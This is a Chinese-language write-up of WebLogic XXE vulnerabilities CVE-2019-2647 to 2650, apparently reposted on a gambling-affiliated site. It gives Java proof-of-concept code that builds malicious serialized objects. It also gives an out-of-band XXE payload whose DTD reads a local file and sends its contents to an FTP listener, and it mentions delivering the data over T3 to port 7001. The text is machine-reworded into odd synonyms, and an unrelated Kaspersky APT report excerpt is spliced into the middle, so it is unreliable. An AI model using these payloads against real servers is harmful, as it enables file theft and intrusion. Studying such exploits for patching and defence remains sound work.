WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE破绽剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE破绽剖析

申博_安全预警 申博 170次浏览 未收录 0个评论

@xxlegend在《Weblogic CVE-2019-2647等相干XXE破绽剖析》剖析了个中的一个XXE破绽点,并给出了PoC。刚入手java不久,本着进修的目的,本身实验剖析了其他几个点的XXE并组织了PoC。下面的剖析我只管形貌本身思索和PoC组织历程,新手真的会踩许多稀里糊涂的坑。谢谢在复现与剖析历程当中为我供应资助的小伙伴@Badcode,没有他的资助我能够情况搭起来都邑消费一大半时刻。

补钉剖析,找到破绽点

应当就是对应的四个CVE了,个中ForeignRecoveryContext@xxlegend大佬已剖析过了,这里就不再剖析了,下面主若是剖析下其他三个点

剖析情况

· Windows 10

· WebLogic 10.3.6.0

· Jdk160_29(WebLogic 10.3.6.0自带的JDK)

WsrmServerPayloadContext 破绽点剖析

WsrmServerPayloadContext修复后的代码以下:

package weblogic.wsee.reliability;import ...public class WsrmServerPayloadContext extends WsrmPayloadContext {
    public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
        ...
        }

        private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {
            ...

            ByteArrayInputStream var15 = new ByteArrayInputStream(var3);

            try {
                DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();

                try {
                    String var8 = "http://xml.org/sax/features/external-general-entities";
                    var7.setFeature(var8, false);
                    var8 = "http://xml.org/sax/features/external-parameter-entities";
                    var7.setFeature(var8, false);
                    var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
                    var7.setFeature(var8, false);
                    var7.setXIncludeAware(false);
                    var7.setExpandEntityReferences(false);
                } catch (Exception var11) {
                    if (verbose) {
                        Verbose.log("Failed to set factory:" + var11);
                    }
                }

           ...
        }}

能够看到举行了setFeature操纵防备xxe进击,而未打补钉之前是没有举行setFeature操纵的

readExternal在反序列化对象时会被挪用,与之对应的writeExternal在序列化对象时会被挪用,看下writeExternal的逻辑:

var1就是this.formENdpt,注重var5.serialize能够传入三种范例的对象,var1.getEndptElement()返回的是Element对象,先实验新建一个项目组织一下PoC:

构造以下:

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static class MyEndpointReference extends EndpointReference {
        @Override        public Element getEndptElement() {
            super.getEndptElement();
            Document doc = null;
            Element element = null;
            try {
                DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
                //从DOM工场中取得DOM剖析器                DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
                //建立文档树模子对象                doc = dbBuilder.parse("test.xml");
                element = doc.getDocumentElement();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return element;
        }
    }


    public static Object getXXEObject() {
        EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();

        EndpointReference faultToEndpt = null;
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {

            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);

            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
            f2.setAccessible(true);
            f2.set(wspc, faultToEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }}

test.xml内容以下,my.dtd临时为空就行,先测试可否吸收到要求:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:8000/my.dtd" [
        <!ELEMENT data (#PCDATA)>
        ]>
<data>4</data>

运转PoC,天生的反序列化数据xxe,运用十六进制查看器翻开:

发明DOCTYPE没法被引入。

我实验了下面几种要领:

· 在上面说到var5.serialize能够传入Document对象,测试了下,确实能够,然则怎样使getEndptElement返回一个Document对象呢?

– 实验了本身建立一个EndpointReference类,修正getEndptElement返回对象,内容和原始内容一样,然则在反序列化时找不到我建立的类,缘由是本身建的类package与本来的分歧,以是失利了

– 实验像Python那样动态替代一个类的要领,貌似Java彷佛做不到…

· 实验了一个暴力的要领,替代Jar包中的类。起首复制出Weblogic的modules文件夹与wlserver_10.3\server\lib文件夹到另一个目次,将wlserver_10.3\server\lib\weblogic.jar解压,将WsrmServerPayloadContext.class类删除,从新紧缩为weblogic.Jar,然后新建一个项目,引入须要的Jar文件(modules和wlserver_10.3\server\lib中所有的Jar包),然后新建一个与WsrmServerPayloadContext.class一样的包名,在个中新建WsrmServerPayloadContext.class类,复制本来的内容举行修正(修正只是为了天生能触发xml剖析的数据,对readExternal反序列化没有影响)。

WsrmServerPayloadContext.class修正的内容以下:

· 经由测试第二种体式格局是可行的,然则彷佛历程略庞杂。然后实验了下新建一个与原始WsrmServerPayloadContext.class类一样的包名,然后举行修正,修正内容与第二种体式格局一样。

测试这类体式格局也是可行的,比第二种体式格局操纵起来轻易些。

组织新的PoC:

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }


    public static Object getXXEObject() {
        EndpointReference fromEndpt = new EndpointReference();

        EndpointReference faultToEndpt = null;
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {

            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);

            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
            f2.setAccessible(true);
            f2.set(wspc, faultToEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }}

查看下新天生的xxe十六进制:

DOCTYPE被写入了。

测试下,运用T3协定剧本向WebLogic 7001端口发送序列化数据:

美丽,吸收到要求了,接下来就是实验下究竟能不能读取到文件了。

卡巴斯基实验室:2019Q1高级持续威胁(APT)趋势报告

概述 在短短两年时间内,卡巴斯基实验室的全球研究与分析团队(GReAT)一直在发布高级持续威胁(APT)活动的季度摘要。这些摘要基于我们的威胁情报研究,并提供了我们在具体的APT研究中具有代表性的典型案例。我们团队的目标是,突出体现应该提醒大家注意的重大事项和发现。 本报告是我们最新发布的一期,重点介绍我们在2019年第一季度观察到的活动。 重点发现 近年来,攻击者针对供应链的攻击已经取得一定的成功,ShadowPad、CCleaner和ExPetr就是很好的例子。在我们对2019年的威胁预测中,我们将其标记为可能持续的攻击向量,并且不需要等待很长时间,就看到这一预测成为了现实。2019年1月,我们发现了一个复杂的供应链攻击活动,涉及到ASUS Live Update Utility,这是为华硕笔记本电脑和台式机提供BIOS、UEFI和软件更新的机制。“ShadowHammer活动”

组织的test.xml以下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
        <!ENTITY % file SYSTEM "file:///C:Users/dell/Desktop/test.txt">
        <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">
        %dtd;
        %send;
        ]>
<ANY>xxe</ANY>

my.dtd以下(my.dtd在运用PoC天生反序列化数据的时刻先清空,然后,否则在dbBuilder.parse时会报错没法天生一般的反序列化数据,至于为何,只要本身测试下才会邃晓):

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'ftp://127.0.0.1:2121/%file;'>"
>
%all;

运转PoC天生反序列化数据,测下发明要求都吸收不到了…,好吧,查看下十六进制:

%dtd;%send;竟然不见了…,能够是因为DOM剖析器的缘由,my.dtd内容为空,数据没有被援用。

实验debug看下:

能够看到%dtd;%send;确实是被处置惩罚掉了。

测试下一般的加载外部数据,my.dtd改成以下:

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8000/gen.xml'>"
>
%all;

gen.xml为:

<?xml version="1.0" encoding="UTF-8"?>

debug看下:

能够看到%dtd;%send;被my.dtd内里的内容替代了。debug大抵看了xml剖析历程,中心有一个EntityScanner,会检测xml中的ENTITY,并且会推断是不是加载了外部资本,若是加载了就外部资本加载进来,背面会将实体援用替代为实体说明的内容。也就是说,我们组织的反序列化数据中的xml数据,已被剖析过一次了,而须要的是没有被剖析过的数据,让目的去剖析。

以是我实验修正了十六进制以下,使得xml修正成没有被剖析的情势:

运转PoC测试下,

竟然胜利了,一开始认为反序列化天生的xml数据那块还会举行校验,否则反序列化不了,直接修正数据是不可的,没想到直接修正就能够了。

UnknownMsgHeader 破绽点剖析

与WsrmServerPayloadContext差不多,PoC组织也是新建包然后替代,就不详细剖析了,只说下类修正的处所与PoC组织。

新建UnknownMsgHeader类,修正writeExternal。

PoC以下:

public class WeblogicXXE2 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }


    public static Object getXXEObject() {
        QName qname = new QName("a", "b", "c");
        Element xmlHeader = null;

        UnknownMsgHeader umh = new UnknownMsgHeader();
        try {
            Field f1 = umh.getClass().getDeclaredField("qname");
            f1.setAccessible(true);
            f1.set(umh, qname);

            Field f2 = umh.getClass().getDeclaredField("xmlHeader");
            f2.setAccessible(true);
            f2.set(umh, xmlHeader);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return umh;
    }}

运转PoC测试下(天生的步调与第一个破绽点一样),运用T3协定剧本向WebLogic 7001端口发送序列化数据:

WsrmSequenceContext 破绽点剖析

这个类看似须要组织的器械挺多的,readExternalwriteExternal的逻辑也比前两个庞杂些,然则PoC组织也很轻易。

新建WsrmSequenceContext类,修正。

PoC以下:

public class WeblogicXXE3 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }


    public static Object getXXEObject() {

        EndpointReference acksTo = new EndpointReference();


        WsrmSequenceContext wsc = new WsrmSequenceContext();
        try {
            Field f1 = wsc.getClass().getDeclaredField("acksTo");
            f1.setAccessible(true);
            f1.set(wsc, acksTo);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wsc;
    }}

测试下,运用T3协定剧本向WebLogic 7001端口发送序列化数据:

末了

好了,剖析完成了。第一次剖析Java的破绽,另有许多缺乏的处所,然则剖析的历程当中也学到了许多,就算是一个看似很简单的点,若是不熟悉Java的一特征,会消费较长的时刻去折腾。以是,一步一步走吧,不要太浮躁,另有许多器械要学。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE破绽剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址